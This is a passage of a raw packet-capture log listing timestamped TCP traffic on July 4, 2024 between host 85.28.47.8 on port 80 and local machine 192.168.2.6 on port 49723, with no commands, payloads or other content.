                                                              Jul 4, 2024 11:16:19.164354086 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.164366961 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.164381027 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.164407969 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.164421082 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.164536953 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.164551973 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.164558887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.164593935 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.187077045 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.187088013 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.187103033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.187110901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.187123060 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.187129974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.187146902 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.187180996 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.187202930 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.187269926 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.187789917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.187823057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.187835932 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.187875986 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.187901974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.187910080 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.187951088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.187953949 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.187958956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.188004971 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.190175056 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190202951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190207005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190259933 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.190287113 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190294027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190306902 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190334082 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.190448999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190455914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190463066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190469027 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190474987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190481901 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190511942 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.190526009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.190680981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190687895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190701962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190707922 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190720081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190727949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190736055 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.190763950 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.190887928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190895081 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190907001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190912008 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.190957069 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.191030025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191035986 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191047907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191055059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191065073 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191071987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191083908 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.191085100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191092968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191121101 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.191299915 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191306114 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191318035 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191324949 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191332102 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191365957 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.191459894 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191467047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191478968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191484928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191489935 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191502094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191504002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191509962 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191514015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191515923 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.191521883 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191529989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191540956 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191546917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.191555023 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.191581011 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.233504057 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.234033108 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.234051943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.234070063 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.234117985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.234138012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.234144926 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.234157085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.234163046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.234193087 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.261674881 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.261682987 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.261703014 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.261749029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.261756897 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.261791945 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.261805058 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.261847019 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.261887074 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.261893988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.261900902 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.261907101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.261935949 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.262031078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262037992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262054920 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262059927 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262079000 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.262090921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262099028 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262103081 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.262104988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262113094 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262132883 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.262144089 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.262269974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262392044 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.262423038 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262428999 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262442112 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262450933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262454033 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262466908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262473106 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262474060 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.262480974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262495995 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262518883 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.262543917 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.262715101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262721062 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262733936 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262774944 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.262794971 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262806892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262865067 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.262928009 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262936115 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262943029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262948990 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262954950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262967110 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.262980938 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.263015985 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.263046980 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.263052940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.263060093 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.263063908 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.263108015 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.276799917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.276807070 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.276854992 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.276860952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.276863098 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.276904106 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.276917934 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.276923895 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.276958942 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.276992083 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.276998043 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.277053118 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.277602911 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.277610064 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.277622938 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.277662039 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.277674913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.277682066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.277734041 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.277760029 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.277766943 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.277803898 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.279987097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280071974 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280133963 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.280199051 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280208111 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280215025 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280225039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280239105 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280256987 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.280284882 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280289888 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.280332088 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.280349970 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280356884 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280394077 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.280395985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280404091 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280431032 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280446053 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.280474901 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.280538082 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280545950 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280591965 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.280639887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280647039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280659914 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280664921 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280670881 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280694962 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.280721903 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.280791044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280797958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280810118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280814886 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280822039 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280827045 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280833960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.280842066 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.280869961 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.281068087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281074047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281085968 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281091928 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281097889 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281102896 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281121969 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.281122923 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281131983 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281138897 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281142950 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.281145096 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281152964 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281158924 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281171083 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.281178951 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281188965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281196117 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.281224966 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.281563044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281569958 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281575918 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281582117 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281589031 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281600952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281605959 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.281614065 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281625032 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.281651020 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.281701088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.281754971 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.324112892 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.324121952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.324127913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.324178934 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.324201107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.324207067 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.324218988 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.324225903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.324254990 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.351922989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.351933002 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.351939917 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.351999044 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.352019072 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352025032 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.352027893 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352041006 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352056026 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352072954 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.352097988 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.352241993 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352248907 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352261066 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352267981 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352273941 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352286100 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352291107 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352292061 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.352297068 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352309942 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352314949 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.352327108 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.352355957 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.352446079 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352453947 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352502108 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.352586985 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352602005 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352612972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352618933 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352623940 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352629900 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352636099 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352642059 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352648020 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352658033 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.352675915 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.352695942 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.352814913 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352873087 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352879047 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352921009 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.352982044 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.352993965 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.353001118 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.353007078 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.353024960 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.353037119 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.353049994 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.353072882 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.353147030 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.353154898 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.353161097 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.353167057 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.353187084 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.353209972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.353216887 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.353247881 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.366950989 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.366957903 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.366971016 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.367017031 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.367028952 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.367036104 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.367043018 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.367063046 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.367068052 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.367084980 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.367525101 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.367532015 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.367551088 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.367583990 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.367610931 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.367635012 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.367640972 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.367654085 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.367692947 CEST4972380192.168.2.685.28.47.8
                                                              Jul 4, 2024 11:16:19.367697001 CEST804972385.28.47.8192.168.2.6
                                                              Jul 4, 2024 11:16:19.367755890 CEST4972380192.168.2.685.28.47.8
